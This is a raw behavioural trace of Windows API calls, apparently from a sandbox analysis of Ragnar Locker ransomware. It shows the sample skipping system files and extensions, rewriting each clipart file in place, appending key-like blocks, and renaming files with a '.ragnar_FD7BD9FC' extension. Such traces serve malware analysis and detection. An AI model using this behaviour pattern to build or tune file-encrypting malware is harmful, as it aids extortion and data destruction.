[0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="bootmgr") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="bootmgr.efi") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="desktop.ini") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="iconcache.db") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="ntldr") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="ntuser.dat") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="ntuser.ini") returned -1 [0080.560] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="thumbs.db") returned -1 [0080.560] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.560] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.561] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.561] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0080.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1444) returned 1 [0080.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.562] GetProcessHeap () returned 0x580000 [0080.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.563] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.564] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5a4, lpOverlapped=0x0) returned 1 [0080.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.564] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.564] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5a4, lpOverlapped=0x0) returned 1 [0080.564] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.564] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.564] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.564] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.564] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.564] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.564] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.565] GetProcessHeap () returned 0x580000 [0080.565] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.565] CloseHandle (hObject=0xf4) returned 1 [0080.565] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" [0080.565] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ragnar_FD7BD9FC" [0080.565] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0080.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.565] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00092_.WMF" | out: lpString1="BS00092_.WMF") returned="BS00092_.WMF" [0080.565] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned=".WMF" [0080.565] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.565] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="autorun.inf") returned 1 [0080.565] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="boot.ini") returned 1 [0080.565] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="bootfont.bin") returned 1 [0080.565] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="bootsect.bak") returned 1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="bootmgr") returned 1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="bootmgr.efi") returned 1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="desktop.ini") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="iconcache.db") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="ntldr") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="ntuser.dat") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="ntuser.ini") returned -1 [0080.566] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="thumbs.db") returned -1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.566] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0080.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.567] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7974) returned 1 [0080.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.567] GetProcessHeap () returned 0x580000 [0080.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.567] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.568] VirtualAlloc (lpAddress=0x0, dwSize=0x1f26, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.569] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f26, lpOverlapped=0x0) returned 1 [0080.569] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.570] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f26, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.570] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f26, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f26, lpOverlapped=0x0) returned 1 [0080.570] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.570] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.570] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.570] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.570] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.570] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.571] GetProcessHeap () returned 0x580000 [0080.571] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.571] CloseHandle (hObject=0xf4) returned 1 [0080.571] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" [0080.571] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ragnar_FD7BD9FC" [0080.571] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.571] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0080.571] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.571] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00100_.WMF" | out: lpString1="BS00100_.WMF") returned="BS00100_.WMF" [0080.571] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned=".WMF" [0080.571] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.571] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="autorun.inf") returned 1 [0080.571] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="boot.ini") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="bootfont.bin") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="bootsect.bak") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="bootmgr") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="bootmgr.efi") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="desktop.ini") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="iconcache.db") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="ntldr") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="ntuser.dat") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="ntuser.ini") returned -1 [0080.572] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="thumbs.db") returned -1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.572] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0080.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.572] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2378) returned 1 [0080.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x941, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.573] GetProcessHeap () returned 0x580000 [0080.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.573] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.574] VirtualAlloc (lpAddress=0x0, dwSize=0x94a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.574] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x94a, lpOverlapped=0x0) returned 1 [0080.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.575] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x94a, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.575] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x94a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x94a, lpOverlapped=0x0) returned 1 [0080.575] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x94a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.575] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x94a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.575] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.575] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.575] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.575] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.575] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.575] GetProcessHeap () returned 0x580000 [0080.575] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.575] CloseHandle (hObject=0xf4) returned 1 [0080.576] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" [0080.576] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ragnar_FD7BD9FC" [0080.576] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.576] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0080.576] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.576] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00135_.WMF" | out: lpString1="BS00135_.WMF") returned="BS00135_.WMF" [0080.576] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned=".WMF" [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="autorun.inf") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="boot.ini") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="bootfont.bin") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="bootsect.bak") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="bootmgr") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="bootmgr.efi") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.576] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="desktop.ini") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="iconcache.db") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="ntldr") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="ntuser.dat") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="ntuser.ini") returned -1 [0080.577] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="thumbs.db") returned -1 